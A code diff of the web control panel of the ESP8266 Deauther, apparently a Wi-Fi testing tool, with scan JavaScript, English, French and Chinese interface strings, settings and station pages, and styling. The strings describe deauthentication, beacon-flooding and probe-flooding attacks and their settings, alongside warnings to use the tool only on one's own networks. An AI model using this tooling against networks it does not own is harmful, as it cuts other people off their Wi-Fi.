else tr += '<td><button class="marginNull select" onclick="select(' + res.clients[i].i + ')">' + _('select') + '</button></td>';
tr += '</tr>';
}
table.innerHTML = tr;
clientNames.innerHTML = res.nameList.length + "/50";
var tr = '<tr><th>MAC</th><th>' + _('Name') + '</th><th>' + _('Del.') + '</th><th>' + _('Add') + '</th></tr>';
for (var i = 0; i < res.nameList.length; i++) {
tr += '<tr>';
tr += '<td>' + res.nameList[i].m + '</td>';
tr += '<td>' + escapeHTML(res.nameList[i].n) + ' <a onclick="editNameList(' + i + ')">'+ _('edit') + '</a></td>';
tr += '<td><button class="marginNull button-warn" onclick="deleteName(' + i + ')">x</button></td>';
tr += '<td><button class="marginNull button-primary" onclick="add(' + i + ')">'+ _('add') + '</button></td>';
tr += '</tr>';
}
nameListTable.innerHTML = tr;
}, function() {
showMessage(_("reconnect and reload the site"));
}, 6000);
}
function scan() {
toggleBtn(true);
getResponse("ClientScan.json?time=" + scanTime.value, function(responseText) {
if(responseText == "true") {
setTimeout(function() {
toggleBtn(true);
getResults();
}, scanTime.value * 1000);
}
else showMessage(_("response error ClientScan.json"));
});
}
function select(num) {
getResponse("clientSelect.json?num=" + num, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error clientSelect.json"));
});
}
function clearNameList() {
getResponse("clearNameList.json", function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error clearNameList.json"));
});
}
function addClient(){
getResponse("addClient.json?mac="+cMac.value+"&name="+cName.value, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error addClient.json"));
});
}
function setName(id) {
var newName = prompt(_("Name for ") + res.clients[id].m);
if (newName != null) {
getResponse("setName.json?id=" + id + "&name=" + newName, function(responseText) {
if(responseText == "true") getResults();
else showMessage(_("response error editNameList.json"));
});
}
}
function editNameList(id) {
var newName = prompt(_("Name for ") + res.nameList[id].m);
if (newName != null) {
getResponse("editNameList.json?id=" + id + "&name=" + newName, function(responseText) {
if(responseText == "true") getResults();
else showMessage(_("response error editNameList.json"));
});
}
}
function deleteName(id) {
getResponse("deleteName.json?num=" + id, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error deleteName.json"));
});
}
function add(id){
getResponse("addClientFromList.json?num=" + id, function(responseText) {
if (responseText == "true") getResults();
else showMessage(_("response error addClientFromList.json"));
});
}
getResponse("ClientScanTime.json", function(responseText) {
scanTime.value = responseText;
getResults();
toggleBtn(false);
});

View File

@ -0,0 +1,182 @@
{
"jsStrings": {
"SSID":"SSID",
"RSSI":"RSSI",
"Select":"Select",
"select":"select",
"deselect":"deselect",
"Attack":"Attack",
"Status":"Status",
"Start/Stop":"Start/Stop",
"Disable Random":"Disable Random",
"Enable Random":"Enable Random",
"start":"start",
"Name":"Name",
"Del.":"Del.",
"Add":"Add",
"add":"add",
"edit":"edit",
"set":"set",
"SSID list full :(":"SSID list full :(",
"Error: reset the settings.":"Error: reset the settings.",
"saving...":"saving...",
"saved":"saved",
"Name for ":"Name for ",
"Timeout loading":"Timeout loading",
"ABORT":"ABORT",
"ERROR loading":"ERROR loading",
"JSON Parsing failed :-(":"JSON Parsing failed :-(",
"response error APScan.json":"response error APScan.json",
"response error APSelect.json":"response error APSelect.json",
"error loading attackInfo.json":"error loading attackInfo.json",
"response error attackStart.json":"response error attackStart.json",
"response error settingsSave.json":"response error settingsSave.json",
"response error settingsReset.json":"response error settingsReset.json",
"Error: clear the client list.":"Error: clear the client list.",
"reconnect and reload the site":"reconnect and reload the site",
"response error ClientScan.json":"response error ClientScan.json",
"response error clientSelect.json":"response error clientSelect.json",
"response error clearNameList.json":"response error clearNameList.json",
"response error addClient.json":"response error addClient.json",
"response error editNameList.json":"response error editNameList.json",
"response error deleteName.json":"response error deleteName.json",
"response error addClientFromList.json":"response error addClientFromList.json"
},
"navStrings": {
"APs":"APs",
"Stations":"Stations",
"Attacks":"Attacks",
"Settings":"Settings",
"Info":"Info"
},
"pageStrings": {
"apscan": {
"h1":"Scan for Wi-Fi access points",
"a1":"scanning...",
"button1":"scan",
"p1":"Networks found:",
"p2":"MAC:",
"button2":"deselect all",
"button3":"select all",
"p3":"INFO:",
"p4":"You may have to reload the site to see the results."
},
"attack": {
"h1":"Attacks",
"p1":"Selected AP(s):",
"button1":"clone",
"p2":"Selected Station(s)",
"button2":"Enable Random",
"p3":"INFO:",
"p4":"You may lose connection when starting the attack.",
"p5":"Change the channel in the settings to the same of the selected AP to prevent this.",
"label1":"SSID",
"placeholder1":"SSID",
"label2":"Number of Clones",
"label3":"Encrypted",
"button3":"add",
"p6":"SSIDs:",
"button4":"clear",
"button5":"random",
"button6":"reset",
"button7":"save",
"p7":"saved",
"p8":"Deauth [deauthentication attack]:",
"p9":"Constantly sends deauthentication and disassociation frames to the selected station(s) and access point(s).",
"pa":"Beacon [beacon flooding]:",
"pb":"Constantly broadcasts beacon frames to advertise all SSIDs in the list below.",
"pc":"Probe-Request [probe request flooding]:",
"pd":"Constantly broadcasts probe request frames with all SSIDs in the list below."
},
"error": {
"h1":"ERROR 404",
"p1":"Page not found &macr;\\_(ツ)_/&macr;"
},
"index": {
"h1":"WARNING",
"p1":"This software is meant for testing common vulnerabilities in the 802.11 standard.",
"p2":"Please check the laws for your country before using it.",
"p3":"Use it only on your own networks and devices!",
"p4":"You are resposible for everything you do with this software.",
"p5":"The device will log every attack against any network or device.",
"p6":"Please do not call this project a \"jammer\", it does not jam any frequencies!",
"p7":"Go to",
"p8":"for more information.",
"p9":"I've read and understood the notice above"
},
"info": {
"h1":"Info",
"h2":"ESP8266 Deauther",
"p1":"This project is licensed under the MIT License. See the",
"a1":"license file",
"p2":"for details.",
"p3":"The source code is available on",
"a2":"GitHub",
"p4":"Use it only for testing or educational purposes against your own devices!",
"p5":"Please do not call this project a \"jammer\", it does not jam any frequencies!",
"p6":"The MAC address vendor list is based on the Wireshark manufacturer database.",
"p7":"Wireshark is released under the GNU General Public License version 2",
"p8":"Contact",
"p9":"If you would like to support me with my projects, please consider becoming a patron on",
"pa":"Or buy the official hardware for this project from DSTIKE on"
},
"settings": {
"locale":"Change locale",
"english":"English",
"french":"French",
"german":"German",
"spanish":"Spanish",
"italian":"Italian",
"klingon":"Klingon",
"chinese":"Simplified Chinese",
"h1":"Settings",
"h2":"Wi-Fi",
"label01":"SSID",
"label02":"Password",
"label03":"min.8 chars",
"label04":"Hide SSID",
"label05":"be careful with this setting!",
"label06":"Channel",
"label07":"MAC",
"label08":"Random MAC",
"h3":"AP Scan",
"label09":"Scan Hidden APs",
"label10":"Select multiple SSIDs",
"h4":"Station Scan",
"label11":"Default Scan Time",
"h5":"Attack",
"label12":"Timeout (0 = no timeout)",
"label13":"Use LED",
"label14":"LED Pin",
"label15":"1s Beacon Interval (default: 100ms)",
"label16":"Deauth Reason-Code",
"label17":"Packetrate",
"label18":"may cause instability!",
"label19":"Enable Simultaneous Attacks",
"label20":"MAC Change Interval (used for beacons & probes)",
"label21":"Channel Hopping",
"button1":"reset",
"button2":"restart",
"button3":"save"
},
"stations": {
"h1":"Scan for Wi-Fi Stations",
"label1":"Scan time:",
"button1":"start",
"a1":"scanning...",
"p1":"The access point will be unavailable while scanning and you may have to reconnect!",
"p2":"Stations found:",
"button2":"deselect all",
"button3":"select all",
"p3":"Saved stations:",
"button4":"clear",
"p4":"Add station:",
"label2":"MAC",
"placeholder1":"AA:BB:CC:DD:EE:FF",
"label3":"Name",
"placeholder2":"EXAMPLE",
"button5":"add"
}
}
}

View File

@ -0,0 +1,181 @@
{
"jsStrings": {
"SSID":"SSID",
"RSSI":"RSSI",
"Select":"Sélectionner",
"select":"sélectionner",
"deselect":"déselectionner",
"Attack":"Attaquer",
"Status":"Status",
"Start/Stop":"Démarrer/Arreter",
"Disable Random":"Désactiver Random",
"Enable Random":"Activer Random",
"start":"démarrer",
"Name":"Nom",
"Del.":"Eff.",
"Add":"Ajout",
"add":"ajout",
"edit":"éditer",
"set":"assigner",
"SSID list full :(":"List des SSID remplie :(",
"Error: reset the settings.":"Erreur: effacer les reglages.",
"saving...":"enregistrement...",
"saved":"enregistré",
"Name for ":"Nom pour ",
"Timeout loading":"Délai d'attente dépassé",
"ABORT":"INTERROMPRE",
"ERROR loading":"ERREUR de chargement",
"JSON Parsing failed :-(":"La lecture du JSON a échoué :-(",
"response error APScan.json":"Réponse foireuse de APScan.json",
"response error APSelect.json":"Réponse foireuse de APSelect.json",
"error loading attackInfo.json":"Réponse foireuse de attackInfo.json",
"response error attackStart.json":"Réponse foireuse de attackStart.json",
"response error settingsSave.json":"Réponse foireuse de settingsSave.json",
"response error settingsReset.json":"Réponse foireuse de settingsReset.json",
"Error: clear the client list.":"Erreur: il faut vier la listes des clients.",
"reconnect and reload the site":"Reconnecter le wifi et recharger la page",
"response error ClientScan.json":"Réponse foireuse de ClientScan.json",
"response error clientSelect.json":"Réponse foireuse de clientSelect.json",
"response error clearNameList.json":"Réponse foireuse de clearNameList.json",
"response error addClient.json":"Réponse foireuse de addClient.json",
"response error editNameList.json":"Réponse foireuse de editNameList.json",
"response error deleteName.json":"Réponse foireuse de deleteName.json",
"response error addClientFromList.json":"Réponse foireuse de addClientFromList.json"
},
"navStrings": {
"APs":"APs",
"Stations":"Stations",
"Attacks":"Attaques",
"Settings":"Reglages",
"Info":"Info"
},
"pageStrings": {
"apscan": {
"h1":"Trouver des points d'acces WiFi",
"a1":"scan en cours...",
"button1":"scan",
"p1":"Réseaux trouvés:",
"p2":"MAC:",
"button2":"tout déselectionner",
"button3":"tout sélectionner",
"p3":"INFO:",
"p4":"Recharger la page si l'attente est trop longue."
},
"attack": {
"h1":"Attaques",
"p1":"Points d'acces sélectionné(s):",
"button1":"cloner",
"p2":"Station(s) sélectionnée(s)",
"button2":"Taper au hasard",
"p3":"INFO:",
"p4":"La connexion peut etre coupée pendant l'attaque.",
"p5":"Il suffit de choisir le meme channel que celui du point d'acces sélectionné dans la page des parametres pour éviter ce souci.",
"label1":"SSID",
"placeholder1":"SSID",
"label2":"Nombre de Clones",
"label3":"Chiffré",
"button3":"ajout",
"p6":"SSIDs:",
"button4":"effacer",
"button5":"au hasard",
"button6":"remise a zéro",
"button7":"enregistrer",
"p7":"enregistré",
"p8":"Désauthentification [deauthentication attack]:",
"p9":"Envoi ininterrompu de paquets de désauthentification et dissociation aux stations et points d'acces sélectionnés.",
"pa":"Balise [beacon flooding]:",
"pb":"Diffusion ininterrompue de trames balises (beacon frames) qui annoncent tous les SSIDs de la liste ci-dessous.",
"pc":"Innondation aux requête de sondage [probe request flooding]:",
"pd":"Diffusion ininterrompue de trames de requêtes de sondage avec tous les SSIDs de la liste ci-dessous."
},
"error": {
"h1":"ERREUR 404",
"p1":"Page non trouvée &macr;\\_(ツ)_/&macr;"
},
"index": {
"h1":"ATTENTION",
"p1":"Ce logiciel est prévu pour tester les failles connues du standard 802.11",
"p2":"Consultez les lois locales avant de l'utiliser.",
"p3":"Ne l'utilisez que sur votre réseau domestique et vos appareils personnels !",
"p4":"C'est votre responsabilité que vous engagez en utilisant cet outil.",
"p5":"Toutes les attaques sont enregistrées.",
"p6":"Ce projet ne s'appelle pas un \"brouilleur\" (\"jammer\"), aucune fréquence n'est brouillée !",
"p7":"Voir",
"p8":"pour plus d'informations.",
"p9":"J'ai lu et compris la notice"
},
"info": {
"h1":"Info",
"h2":"ESP8266 Deauther",
"p1":"Ce projet est sous license MIT License. Voir le ",
"a1":"fichier de licence",
"p2":"pour plus d'infos.",
"p3":"Le code source de ce projet est dispo sur",
"a2":"GitHub",
"p4":"A n'utiliser que pour tester ou s'instruire, mais toujours sur vos propres appareils !",
"p5":"Ce projet ne s'appelle pas un \"brouilleur\" (\"jammer\"), aucune fréquence n'est brouillée !",
"p6":"La liste des constructeurs d'adresses MAC est basée sur celle de Wireshark.",
"p7":"Wireshark est diffusé sous licene GNU General Public License version 2",
"p8":"Contacter",
"p9":"Si vous voulez m'aider dans mes projets, considérez l'option de devenir mon patron sur",
"pa":"Ou offrez-vous le matériel officiel de DSTIKE lié a ce projet sur"
},
"settings": {
"english":"Anglais",
"french":"Franchouillard",
"german":"Allemand",
"spanish":"Espagnol",
"italian":"Italien",
"klingon":"Klingon",
"chinese":"Chinois Simplifié",
"h1":"Parametres",
"h2":"Wi-Fi",
"label01":"SSID",
"label02":"Mot de passe",
"label03":"min.8 caracteres",
"label04":"Masquer SSID",
"label05":"gaffe avec ce parametre !",
"label06":"Channel",
"label07":"MAC",
"label08":"MAC au hasard",
"h3":"Scan de points d'acces",
"label09":"Scanner les points d'acces cachés",
"label10":"Sélectionne plusieurs SSIDs",
"h4":"Scan de stations",
"label11":"Durée du Scan",
"h5":"Attaque",
"label12":"Délai d'attente (0 = aucun)",
"label13":"Utiliser la LED",
"label14":"LED Pin",
"label15":"Intervalle d'annonce balise (par défault: 100ms)",
"label16":"Code raison de la désauthentification",
"label17":"Taux des paquets",
"label18":"provoque de l'instabilité !",
"label19":"Activer les attaques simultanées",
"label20":"Intervalle changement de MAC (utilisé par balise & sondage)",
"label21":"Danse avec les Channels",
"button1":"remise a zéro",
"button2":"redémarrer",
"button3":"enregistrer"
},
"stations": {
"h1":"Scanner les Stations Wi-Fi",
"label1":"Durée du Scan:",
"button1":"lancer",
"a1":"scan en cours...",
"p1":"Le point d'acces sera indisponible pendantle scan, et il faudra peut etre reconnecter le WiFi !",
"p2":"Stations trouvées:",
"button2":"tout déselectionner",
"button3":"tout sélectionner",
"p3":"Stations enregistrées:",
"button4":"effacer",
"p4":"Ajouter une station:",
"label2":"MAC",
"placeholder1":"AA:BB:CC:DD:EE:FF",
"label3":"Nom",
"placeholder2":"EXEMPLE",
"button5":"ajouter"
}
}
}

View File

@ -0,0 +1,182 @@
{
"jsStrings": {
"SSID":"SSID",
"RSSI":"信号强度",
"Select":"选择",
"select":"选择",
"deselect":"取消选择",
"Attack":"攻击",
"Status":"状态",
"Start/Stop":"开始/停止",
"Disable Random":"关闭 Random",
"Enable Random":"开启 Random",
"start":"开始",
"Name":"名称",
"Del.":"删除。",
"Add":"添加",
"add":"添加",
"edit":"编辑",
"set":"设置",
"SSID list full :(":"SSID列表溢出 :(",
"Error: reset the settings.":"错误:清除设置失败。",
"saving...":"保存中。。。",
"saved":"已保存",
"Name for ":"取名 ",
"Timeout loading":"载入超时",
"ABORT":"终止",
"ERROR loading":"载入时发生错误",
"JSON Parsing failed :-(":"JSON 解析失败 :-(",
"response error APScan.json":"APScan.json响应错误",
"response error APSelect.json":"APSelect.json响应错误",
"error loading attackInfo.json":"attackInfo.json响应错误",
"response error attackStart.json":"attackStart.json响应错误",
"response error settingsSave.json":"settingsSave.json响应错误",
"response error settingsReset.json":"settingsReset.json响应错误",
"Error: clear the client list.":"错误: 清除客户端列表失败.",
"reconnect and reload the site":"重新载入页面",
"response error ClientScan.json":"ClientScan.json响应错误",
"response error clientSelect.json":"clientSelect.json响应错误",
"response error clearNameList.json":"clearNameList.json响应错误",
"response error addClient.json":"addClient.json响应错误",
"response error editNameList.json":"editNameList.json响应错误",
"response error deleteName.json":"deleteName.json响应错误",
"response error addClientFromList.json":"addClientFromList.json响应错误"
},
"navStrings": {
"APs":"接入点",
"Stations":"无线终端",
"Attacks":"攻击",
"Settings":"设置",
"Info":"信息"
},
"pageStrings": {
"apscan": {
"h1":"扫描Wi-Fi接入点",
"a1":"扫描中。。。",
"button1":"扫描",
"p1":"找到的网络:",
"p2":"MAC地址",
"button2":"全不选",
"button3":"全选",
"p3":"信息:",
"p4":"您可能需要重新连接并刷新页面才能看到结果。"
},
"attack": {
"h1":"攻击",
"p1":"选择的接入点:",
"button1":"克隆",
"p2":"选择的无线终端",
"button2":"开启 Random",
"p3":"信息:",
"p4":"您可能在开启攻击后丢失与本设备的连接。",
"p5":"可以将信道设置为与选择的接入点一致以避免这种情况。",
"label1":"SSID",
"placeholder1":"SSID",
"label2":"克隆数量",
"label3":"已加密",
"button3":"添加",
"p6":"SSIDs:",
"button4":"清除",
"button5":"随机",
"button6":"重置",
"button7":"保存",
"p7":"已保存",
"p8":"Deauth [deauthentication attack]:",
"p9":"不断向所选择的站点和接入点发送去认证和关联帧以阻止其他设备的连接。",
"pa":"Beacon [beacon flooding]:",
"pb":"不断地广播在下面的列表中所有的SSID",
"pc":"Probe-Request [probe request flooding]:",
"pd":"不间断地播放下面的列表中所有的SSID的探测请求帧."
},
"error": {
"h1":"错误 404",
"p1":"页面找不到了 &macr;\\_(ツ)_/&macr;"
},
"index": {
"h1":"警告",
"p1":"该软件用于测试802.11标准中的常见漏洞。",
"p2":"使用前请知悉您所在国家/地区的法律。",
"p3":"您仅可在您自己的网络和设备上使用!",
"p4":"您需要对使用此软件所做的一切负责。",
"p5":"本设备将记录对任何网络或设备的每次攻击。",
"p6":"请不要把这个项目称为“干扰器”,它不会阻塞任何频率! ",
"p7":"转到",
"p8":"查看更多信息。",
"p9":"我已阅读并理解上述警告。"
},
"info": {
"h1":"信息",
"h2":"ESP8266 Deauther",
"p1":"这个项目基于MIT许可详见",
"a1":"许可文件",
"p2":"。",
"p3":"查看源文件",
"a2":"GitHub",
"p4":"此程序仅用于针对您自己的设备的测试或教育目的!",
"p5":"请不要把这个项目称为“干扰器”,它不会阻塞任何频率!",
"p6":"MAC地址列表基于Wireshark数据库.",
"p7":"Wireshark基于GNU(GNU General Public License version 2)发布",
"p8":"联系我们",
"p9":"如果您愿意帮助我们, 您可以考虑资助我们:",
"pa":"或者从DSTIKE购买这个项目的官方硬件"
},
"settings": {
"locale":"语言切换",
"english":"English",
"french":"French",
"german":"German",
"spanish":"Spanish",
"italian":"Italian",
"klingon":"Klingon",
"chinese":"简体中文",
"h1":"设置",
"h2":"Wi-Fi",
"label01":"SSID",
"label02":"密码",
"label03":"至少8个字符",
"label04":"隐藏SSID",
"label05":"谨慎选择此项!",
"label06":"信道",
"label07":"MAC",
"label08":"随机MAC",
"h3":"接入点扫描",
"label09":"扫描隐藏的接入点",
"label10":"选择多个SSID",
"h4":"无线终端扫描",
"label11":"默认扫描时间",
"h5":"攻击",
"label12":"超时设置 (0 = 不设置超时)",
"label13":"使用指示灯",
"label14":"指示灯针脚(Pin)",
"label15":"Beacon攻击间隔1秒 (default: 100ms)",
"label16":"Deauth 错误码",
"label17":"包速率",
"label18":"可能导致不稳定!",
"label19":"启用并发攻击",
"label20":"MAC更换间隔 (仅用于 beacons & probes)",
"label21":"信道跳跃",
"button1":"重置",
"button2":"重新启动",
"button3":"保存"
},
"stations": {
"h1":"扫描Wi-Fi无限终端",
"label1":"扫描时间:",
"button1":"开始",
"a1":"扫描中。。。",
"p1":"开始扫描后可能丢失与本设备的连接,您可能需要重新进行连接并重新刷新页面。",
"p2":"找到的终端: ",
"button2":"全不选",
"button3":"全选",
"p3":"保存的终端:",
"button4":"清除",
"p4":"添加终端:",
"label2":"MAC",
"placeholder1":"AA:BB:CC:DD:EE:FF",
"label3":"名称",
"placeholder2":"示例名称",
"button5":"添加"
}
}
}

View File

@ -1,7 +1,6 @@
The MIT License (MIT)
MIT License
Copyright (c) 2016 by Daniel Eichhorn
Copyright (c) 2016 by Fabrice Weinberg
Copyright (c) 2017 Stefan Kremser
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@ -13,12 +12,12 @@ furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
Do not redistribute, advertising or sell of this softwae as "jammer"!
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
See more at http://blog.squix.ch
SOFTWARE.

View File

@ -0,0 +1,263 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<div id="error" class="hide"></div>
<h1 class="header">{h1}</h1>
<h2>{locale}</h2>
</div>
</div>
<div class="row">
<div class="col-12">
<span class="flag" data-lang="en">{english}</span>
<span class="flag" data-lang="fr">{french}</span>
<span class="flag" data-lang="zh-CN">{chinese}</span>
<!--
<span class="flag" data-lang="de">{german}</span>
<span class="flag" data-lang="es">{spanish}</span>
<span class="flag" data-lang="it">{italian}</span>
<span class="flag" data-lang="kl">{klingon}</span>
-->
</div>
</div>
<div class="row">
<div class="col-12">
<h2>{h2}</h2>
</div>
</div>
<div class="row">
<div class="col-6">
<label for="ssid" class="labelFix">{label01}</label>
</div>
<div class="col-6">
<input type="text" id="ssid" minlength="1" maxlength="32">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="password" class="labelFix">{label02} (<span class="red">{label03}</span>)</label>
</div>
<div class="col-6">
<input type="text" id="password" minlength="8" maxlength="32">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="ssidHidden">{label04} (<span class="red">{label05}</span>)</label>
</div>
<div class="col-6">
<input type="checkbox" name="ssidHidden" id="ssidHidden" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="apChannel" class="labelFix">{label06}</label>
</div>
<div class="col-6">
<input type="number" id="apChannel" min="1" max="14">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="apChannel" class="labelFix">{label07}</label>
</div>
<div class="col-6">
<input type="text" id="macAp" min="1" max="14">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="randMacAp" class="labelFix">{label08}</label>
</div>
<div class="col-6">
<input type="checkbox" name="randMacAp" id="randMacAp" value="false">
</div>
</div>
<div class="row">
<div class="col-12">
<h2>{h3}</h2>
</div>
</div>
<div class="row">
<div class="col-6">
<label for="apScanHidden">{label09}</label>
</div>
<div class="col-6">
<input type="checkbox" name="apScanHidden" id="apScanHidden" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="multiAPs">{label10}</label>
</div>
<div class="col-6">
<input type="checkbox" name="multiAPs" id="multiAPs" value="false">
</div>
</div>
<div class="row">
<div class="col-12">
<h2>{h4}</h2>
</div>
</div>
<div class="row">
<div class="col-6">
<label for="scanTime" class="labelFix">{label11}</label>
</div>
<div class="col-6">
<input type="number" id="scanTime" min="1" max="255"> s
</div>
</div>
<div class="row">
<div class="col-12">
<h2>{h5}</h2>
</div>
</div>
<div class="row">
<div class="col-6">
<label for="timeout" class="labelFix">{label12}</label>
</div>
<div class="col-6">
<input type="number" id="timeout" min="-1" max="65536"> s
</div>
</div>
<div class="row">
<div class="col-6">
<label for="useLed">{label13}</label>
</div>
<div class="col-6">
<input type="checkbox" id="useLed" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="ledPin" class="labelFix">{label14}</label>
</div>
<div class="col-6">
<input type="number" id="ledPin" min="0" max="18">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="beaconInterval">{label15}</label>
</div>
<div class="col-6">
<input type="checkbox" id="beaconInterval" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="deauthReason" class="labelFix">{label16}e</label>
</div>
<div class="col-6">
<input type="number" id="deauthReason" min="1" max="45">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="packetRate" class="labelFix">{label17} (<span class="red">{label18}</span>)</label>
</div>
<div class="col-6">
<input type="number" id="packetRate" min="1" max="50"> pkts/s
</div>
</div>
<div class="row">
<div class="col-6">
<label for="multiAttacks">{label19}</label>
</div>
<div class="col-6">
<input type="checkbox" id="multiAttacks" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="macInterval" class="labelFix">{label20}</label>
</div>
<div class="col-6">
<input type="number" id="macInterval" min="0" max="65000">s
</div>
</div>
<!--
<div class="row">
<div class="col-6">
<label for="channelHop">{label21}</label>
</div>
<div class="col-6">
<input type="checkbox" name="channelHop" id="channelHop" value="false">
</div>
</div>
-->
<div class="row">
<div class="col-12">
<br />
<button class="red" onclick="resetSettings()">reset</button>
<button class="red" onclick="restart()">restart</button>
<button class="button-primary right" onclick="saveSettings()">save</button>
<br class="clear" />
<p id="saved"></p>
<br class="clear" />
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
<script data-src="js/settings.js"></script>
</body>
</html>

View File

@ -0,0 +1,91 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<div id="error" class="hide"></div>
<h1 class="header">{h1}</h1>
<label>{label1}
<input type="number" id="scanTime" value="10">s
</label>
<button onclick="scan()" id="startScan" class="right button-primary">{button1}</button>
<a id="clientScanStatus"><br />{a1}</a>
<p class="red">{p1}</p>
<p>
{p2} <span id="clientsFound">0</span><br />
<br />
<button class="marginNull button-primary left" onclick="select(-2)">{button2}</button>
<button class="marginNull button-primary right" onclick="select(-1)">{button3}</button><br />
</p>
<table></table>
<p class="block bold" >
{p3} <span id="clientNames"></span>
</p>
<table id="nameList"></table>
<button class="red left" onclick="clearNameList()">{button4}</button>
<p>
<br class="clear" />
<br />
{p4}
</p>
</div>
</div>
<div class="row">
<div class="col-4">
<label>{label2} <input type="text" placeholder="{placeholder1}" id="cMac" /></label>
</div>
<div class="col-4">
<label>{label3} <input type="text" placeholder="{placeholder2}" id="cName" /></label>
</div>
<div class="col-4">
<button class="button-primary" style="width: 100%" onclick="addClient()">{button5}</button>
</div>
</div>
<div class="row">
<div class="col-12">
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
<script data-src="js/stations.js"></script>
</body>
</html>

View File

@ -1,405 +1,337 @@
/* Global */
body {
background: #36393e;
color: #bfbfbf;
font-family: sans-serif;
margin: 0;
}
h1 {
font-size: 1.7rem;
margin-top: 1rem;
background: #2f3136;
color: #bfbfbb;
padding: 0.2em 1em;
border-radius: 3px;
border-left: solid #4974a9 5px;
font-weight: 100;
}
h2 {
font-size: 1.1rem;
margin-top: 1rem;
background: #2f3136;
color: #bfbfbb;
padding: 0.4em 1.8em;
border-radius: 3px;
border-left: solid #4974a9 5px;
font-weight: 100;
}
table{
border-collapse: collapse;
}
label{
line-height: 46px;
}
input{
line-height: 46px;
}
.left {
float: left;
}
.right {
float: right;
}
.bold {
font-weight: bold;
}
.red{
color: #F04747;
}
.green{
color:#43B581;
}
.clear {
clear: both;
}
.centered{
text-align: center;
}
.select{
width: 98px !important;
padding: 0 !important;
}
.selected{
background: #4974a9;
}
.status{
width: 120px;
padding-left: 8px;
}
.labelFix {
line-height: 40px;
}
.clickable{
cursor: pointer;
}
#error {
text-align: center;
color: #fff;
background: #af3535;
border-radius: 5px;
padding: 10px;
margin-top: 10px;
}
#closeError{
float: right;
color: #fff;
padding: 0px 10px;
cursor: pointer;
}
#copyright{
font-size: 0.95em;
text-align: center;
margin-top: 3em;
margin-bottom: 3em;
}
/* CHECKBOX */
/* Customize the label (the container) */
.checkBoxContainer {
display: block;
position: relative;
padding-left: 35px;
margin-bottom: 12px;
cursor: pointer;
font-size: 22px;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
height: 32px;
width: 32px;
}
/* Hide the browser's default checkbox */
.checkBoxContainer input {
position: absolute;
opacity: 0;
cursor: pointer;
}
/* Create a custom checkbox */
.checkmark {
position: absolute;
top: 8px;
left: 0;
height: 28px;
width: 28px;
background-color: #2F3136;
border-radius: 4px;
}
/* When the checkbox is checked, add a blue background */
.checkBoxContainer input:checked ~ .checkmark {
background-color: #4974A9;
}
/* Create the checkmark/indicator (hidden when not checked) */
.checkmark:after {
content: "";
position: absolute;
display: none;
}
/* Show the checkmark when checked */
.checkBoxContainer input:checked ~ .checkmark:after {
display: block;
}
/* Style the checkmark/indicator */
.checkBoxContainer .checkmark:after {
left: 10px;
top: 7px;
width: 4px;
height: 10px;
border: solid white;
border-width: 0 3px 3px 0;
-webkit-transform: rotate(45deg);
-ms-transform: rotate(45deg);
transform: rotate(45deg);
}
/* ERROR */
.hide {
display: none;
}
.show {
display: block !important;
animation-name: fadeIn;
animation-duration: 1s;
}
@keyframes fadeIn {
0% {opacity: 0;}
100% {opacity: 1;}
}
hr {
background: #3e4146;
}
a {
color: #5281bb;
